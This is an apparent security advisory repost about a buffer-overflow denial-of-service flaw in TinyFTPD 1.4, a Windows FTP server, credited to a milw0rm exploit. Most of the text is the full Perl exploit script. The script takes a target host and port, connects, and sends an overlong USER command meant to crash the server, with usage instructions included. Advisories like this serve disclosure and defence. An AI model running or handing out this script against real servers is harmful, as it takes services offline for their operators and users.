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Tiny FTPd, is a Windows NT family FTP server.
Tiny FTPd contains a buffer overflow condition that allows remote attackers to perform DoS attacks on the server. |
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Credit:
The original article can be found at: http://www.milw0rm.com/exploits/1758
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Vulnerable Systems:
* TinyFTPD version 1.4
Exploit:
#!/bin/perl
#
# Title: TinyFTPD <= 1.4 USER command D.O.S
# Credits: [Oo]
#
#
use IO::Socket;
print "[i] TinyFTPD <= 1.4 USER command D.O.S\n";
print "[i] coded by [Oo]\n";
if (@ARGV < 2)
{
print "\n[*] Usage: tinyftpd_dos.pl host port\n";
print "[*] Exemple: tinyftpd_dos.pl 192.168.0.1 21\n";
exit;
}
$ip = $ARGV[0];
$port = $ARGV[1];
$exploit = "(A" x 9000;
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "\n[-] Connecting: Failed!\n";
print "\n[+] Connecting: Ok!\n";
print "[+] Sending bad request...\n";
print $socket "USER $exploit\n";
sleep(5);
close($socket);
print "[?] DoSed?\n";
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